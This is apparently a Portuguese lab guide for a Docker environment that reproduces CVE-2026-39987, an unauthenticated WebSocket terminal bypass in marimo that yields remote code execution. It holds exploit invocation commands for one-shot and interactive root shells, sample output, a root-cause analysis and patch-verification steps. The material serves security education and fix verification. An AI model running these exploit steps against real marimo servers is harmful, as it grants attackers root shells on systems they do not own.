
# Laboratório Docker Educacional demonstrando CVE-2026-39987, um RCE pré-autenticação via bypass de autenticação WebSocket no marimo, com script de exploit e etapas de verificação de patch.
Execução Remota de Código Pré-Autenticação via Bypass de Autenticação no WebSocket do Terminal
Um laboratório Docker educacional para entender, reproduzir e corrigir esta vulnerabilidade crítica no marimo.
| Alvo | marimo <= 0.20.4 executando no modo edit com autenticação por token habilitada |
| Atacante | Qualquer host com Python 3 e websocket-client |
| Objetivo | Obter um shell interativo como root via /terminal/ws sem fornecer um token de autenticação |
| Tipo | Bypass de Autenticação → Execução Remota de Código (RCE) |
| Correção | marimo >= 0.23.0 |
⚠️ Apenas para Uso Ético: Este laboratório foi projetado para pesquisadores de segurança, desenvolvedores e estudantes entenderem como vulnerabilidades de bypass de autenticação ocorrem e como corrigi-las adequadamente. Execute apenas em ambientes isolados.
┌─────────────────────────────────────────────────────────────┐
│ Docker Network │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (Alvo) │ │ (Atacante) │ │
│ │ Porta: 2718 │ │ Python 3.12 │ │
│ │ Auth: Token │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
Arquivos neste laboratório:
| Arquivo | Finalidade |
|---|---|
Dockerfile.target | Constrói o servidor marimo vulnerável |
docker-compose.yml |
# Clonar o repositório
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# Iniciar o laboratório
docker-compose up --build -d
# Executar o exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# Obter um shell interativo
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# Crie um diretório de trabalho e coloque estes arquivos dentro:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# Construir e iniciar o alvo
docker-compose up --build -d
# Verificar se o alvo está em execução
docker ps
# Você deve ver: marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
O que acontece:
0.20.4 (versão vulnerável)edit com autenticação --token explicitamente habilitada2718 é exposta ao seu hostAntes de explorar, vamos verificar se o alvo está devidamente protegido em endpoints legítimos:
# Tente abrir a interface principal em um navegador ou via curl
curl -s http://127.0.0.1:2718/
# Esperado: Redirecionamento para página de login ou 401/403 (token necessário)
# Tente o WebSocket principal (/ws) sem um token
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Esperado: Conexão rejeitada ou fechada imediatamente devido à falta de autenticação
Observação-chave: Os endpoints principais da aplicação aplicam corretamente a autenticação. A vulnerabilidade reside em um endpoint secundário que foi negligenciado.
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
Saída esperada:
[+] Conectando a ws://127.0.0.1:2718/terminal/ws...
[+] Conectado! Nenhuma autenticação necessária - WebSocket do Terminal aceito
[*] Executando: id && whoami && hostname
[+] Saída:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
Você obterá um prompt $ onde poderá executar comandos arbitrários do sistema:
[+] Shell interativo obtido! Digite 'exit' para sair.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Conexão encerrada.
A vulnerabilidade existe devido a uma verificação de autenticação inconsistente entre os endpoints WebSocket:
┌─────────────────────────────────────────────────────────────────┐
│ Middleware de Autenticação (Starlette) │
│ ├── Marca conexões não autenticadas como "UnauthenticatedUser" │
│ └── NÃO fecha conexões WebSocket automaticamente │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (Principal)│ │ /terminal/ws │
│ │ │ (Terminal) │
│ ✓ validate_auth()│ │ ✗ SEM verificação de auth │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ Rejeita não autenticados│ │ ✓ Aceita imediatamente│
└──────────────────┘ └──────────────────┘
Middleware de autenticação (Starlette AuthenticationMiddleware) marca conexões não autenticadas como UnauthenticatedUser, mas não fecha conexões WebSocket automaticamente.
Endpoints corretos (ex.: /ws) chamam validate_auth() ou usam @requires("edit"), rejeitando clientes não autenticados.
Endpoint vulnerável (/terminal/ws) apenas verifica:
SessionMode.EDIT — garante que o servidor está no modo de ediçãosupports_terminal() — garante que o recurso de terminal está disponívelawait websocket.accept() sem qualquer verificação de autenticação.Impacto: pty.fork() gera um shell PTY completo executando como o usuário do servidor (root na imagem Docker padrão), dando ao atacante acesso total ao sistema.
A correção adiciona validação de autenticação adequada ao endpoint /terminal/ws, garantindo que ele corresponda à postura de segurança dos outros endpoints.
Atualize o alvo para a versão corrigida e execute novamente o exploit para confirmar a correção:
# Edite o Dockerfile.target: altere marimo==0.20.4 para marimo==0.23.0
# Ou use: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# Tente o exploit novamente
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
Esperado após a correção:
[+] Conectando a ws://127.0.0.1:2718/terminal/ws...
[-] Falha na conexão: Conexão recusada ou autenticação necessária
A conexão agora é rejeitada/encerrada imediatamente; nenhum shell é obtido. ✅
# Parar e remover contêineres
docker-compose down -v
# Remover a imagem construída
docker rmi cve-lab_target
# Limpar imagens órfãs
docker image prune -f
Construído para fins educacionais. Use com responsabilidade. 🔒
| Orquestra os contêineres alvo e atacante |
exploit.py | Script de exploit PoC (comando único + modo interativo) |
LAB_GUIDE.md | Este guia |
| Problema | Solução |
|---|
Connection refused | Garanta que o contêiner está em execução: docker ps e verifique os logs com docker logs marimo-vulnerable |
ModuleNotFoundError: No module named 'websocket' | Instale o cliente: pip install websocket-client |
| Sem saída do exploit | Aumente o timeout: python exploit.py ... --timeout 20 |
| O contêiner sai imediatamente | Verifique a sintaxe do Dockerfile e garanta que o notebook test.py seja criado corretamente |
| Permissão negada | Garanta que o daemon Docker esteja em execução e que você tenha as permissões adequadas |